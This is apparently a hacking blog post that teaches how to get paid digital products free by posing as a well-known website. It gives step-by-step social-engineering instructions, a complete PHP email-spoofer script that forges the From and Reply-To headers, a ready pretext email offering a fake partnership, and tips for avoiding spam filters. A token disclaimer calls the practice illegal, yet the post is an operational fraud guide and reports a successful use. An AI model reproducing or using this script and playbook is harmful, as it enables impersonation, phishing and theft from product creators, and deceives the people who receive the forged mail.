Everybody loves free stuff. But is it possible to get non-free items free on the internet? Of Course! Through Social Engineering and E-Mail Spoofing you can, and I will show you how with an example to back me up. By reading the rest of this post you are agreeing to our DISCLAIMER. Doing this is Illegal, so don’t do it. It’s just an interesting scenario to read about.First I will show you the process step-by-step, then I will post my real life example that successfully worked out for me.
- Find a website selling a digital product(s) online.
- Find the website’s main E-Mail address, product creators name and write them down.
- Locate a well-known high-ranking website that is based on the niche of the product.
- On this website, find their main E-Mail address. Must be a “@that-sites-name.com” E-Mail. If they have multiple go for the one that has to do with advertising or partnerships. Along with the E-Mail address, get the site owner’s name or the name of whoever takes care of advertising and partnerships. Write them down.
- Create a new E-Mail address (Gmail) with the popular sites owner’s name in it. This will be used as the site owner’s personal E-Mail. Or so they think.
- Now it’s time to write up a believable E-Mail. In the E-Mail, talk about how your company/website (the popular one you chose) is looking to make partnerships and affiliate with products like theirs (the item you want to receive). Then state that before you would like to continue with the partnership, you would like to get a copy of the product to review it to decide whether you would like to continue with the partnership. If the website you are pretending to be is a large and well known, the product owner will realize that he/she could make a lot of money with you, and will send you a copy of the product without hesitation. (See example below)
- Now it’s time to send the E-Mail. We will be using the PHP script I wrote below to spoof the E-Mail and make it look like it came from a trusted source (the popular website).
- I would highly suggest running the script off your own computer using Wamp (Windows) or Mamp (Mac) with an SMTP server. If you don’t know how to do this, sign up for the E-mail list on the right and you can see a video on it. If your ISP doesn’t allow you send your own E-Mails, then upload it to a webserver that supports PHP and the PHP mail() function. If you decide to use a online hosting service, there will be a higher chance that the E-Mail sent will be flagged as spam.
- Run this script and you should see the following form: http://www.MrCracker.com/form/mail.php Don’t try to use it. It’s disabled.
- Fill in the spoofed E-Mail. This is the E-Mail of the E-Mail you are spoofing, in other words, the E-Mail that you are impersonating. (The popular site’s E-Mail)
- Fill in the target’s E-Mail, the product owner’s E-Mail.
- Fill in the reply E-Mail. This is the E-Mail that you created to be used as the site owner’s E-mail. When the target hits reply, the E-Mail will be sent to this E-mail.
- Keep the message title short.
- Now fill in the actual message. Make sure to format the message with HTML otherwise it’ll be sent without line spaces. To add a line break use the HTML command <br />.
- Before you send the E-Mail, first send it to your own E-Mail to see how it looks like. Once everything is correct, you can send it off to the actual product owner.
- Now wait, and hopefully you will get a reply with a download link or attachment.
The E-Mail spoofer PHP script:
001.<?php002./*003. 004.E-Mail Spoofer005.MrCracker.com006. 007.*/008. 009.if($_POST['submit']){ //if submit is hit continue...010. 011.$spoof = (stripslashes(trim($_POST['spoof']))); //sanitizes all the user input.012.$target = (stripslashes(trim($_POST['target'])));013.$reply = (stripslashes(trim($_POST['reply'])));014.$title = str_replace(array("\n", "\r"), '',stripslashes(trim($_POST['title'])));015.$body = (stripslashes(trim($_POST['body'])));016. 017.$headers = "From: $spoof\r\n";018.$headers .= "Reply-To: $reply\r\n";019.$headers .= 'MIME-Version: 1.0' . "\n";020.$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";021. 022.$regex="/^[a-zA-Z][\w \.\-]+[a-zA-Z0-9]@([a-zA-Z0-9][a-zA-Z0-9\-]*\.)+[a-zA-Z]{2,4}$/"; //Compares input email to this pattern to make sure it is a valid email.023.if($spoof == "" || !preg_match($regex, $spoof)){024. 025.echo "<font color='red'><b> Error: No Spoof Email Provided or Email Invalid!026.</font></b>"; //error checking027.exit;028.}029.elseif($target == "" || !preg_match($regex, $target)){030.echo "<font color='red'><b> Error: No Target Email Provided or Email Invalid!031.</font></b>";032.exit;033.}034.elseif($reply == ""){035.echo "<font color='red'><b> Error: No Reply Email Provided! </font></b>";036.exit;037.}038.elseif($title == ""){039.echo "<font color='red'><b> Error: No Email Title Provided! </font></b>";040.exit;041.}042.elseif($body == ""){043.echo "<font color='red'><b> Error: No Email Body Provided! </font></b>";044.exit;045.}046.else{047.mail($target, $title, $body, $headers); //if there are no errors, send the email048.echo "Mail Was Sent!";049.}050.}051.else{ //if submit wasn't hit, show the HTML form052.?>053.<!-- This is the CSS which makes the form look the way it does. -->054.<html>055.<body>056.<style type="text/css">057.body {058.font-family: Arial;059.font-size: .9em;060.}061.input {062.background: #ECFDCE;063.border: 1px solid green;064.}065.textarea {066.background: #ECFDCE;067.border: 1px solid green;068.}069.legend {070.border: 1px solid #048DB4;071.background: #F0F8FF;072.}073. 074.fieldset {075.border: 1px solid #048DB4;076.width: 18.7em;077.padding-left: 11px;078.padding-bottom: 20px;079.background: #F0F8FF;080.}081.<!-- This is the HTML form -->082.</style>083.<fieldset>084.<legend>Email Spoofer</legend>085.<form action="" method="POST">086.Spoofed Email:<br>087.<input type="text" size="40" name="spoof"><br>088.Targets Email:<br>089.<input type="text" size="40" name="target"><br>090.Reply Email:<br>091.<input type="text" size="40" name="reply"><br>092.Message Title:<br>093.<input type="text"size="40" name="title"><br>094.Message Body:<br>095.<textarea rows="10" cols="30" name="body">096.</textarea><br>097.<input type="submit" value="Submit" name="submit">098.<input type="reset" value="Clear">099.</form>100.</fieldset>101.</body>102.</html>103.<?php104.}105.?>106.</pre>In the example, I will show you how I used this on someone I know to see if it worked. As you will see, I will not be naming the specific websites or people.
Spoofed Email: advertising@big-sample-site.com
Target Email: Name@product-site.com
Reply To: Site-Big-Owners-Name@Gmail.com
Message Title: Product Name Partnership
Message Body: Hello Product-Owner-Name,
Big-Sample-Site.com is looking to make some new affiliations to raise funding and your “Product Name” has caught our attention. We only consider serious and professional products. Before we consider anything else, would you be willing to send us a copy of your product so that we may review it and decide whether we would still like to pursue this partnership.<br /><br />
If you are interested, please reply to this E-Mail as soon as possible. <br /><br />
-Name <br />
Big-Sample-Website.com <br />
Notice how I added <br /> into the message. This is important so that line breaks are created. If they aren’t added, the whole message will be received in one giant paragraph and won’t look professional.
The next day, I had the product in my E-Mail, and I notified my friend about this kind of attack.
Note: This is a shot or miss thing. Some people will get suspicious and send the actual product to the original E-Mail isntead of the changed reply E-Mail address. Sometimes people will fall for regular free E-Mail address. If you use a free E-Mail address, you won’t have to spoof the E-Mail and risk have it sent to spam, or having the target reply to the wrong E-Mail, so that’s also worth a try.
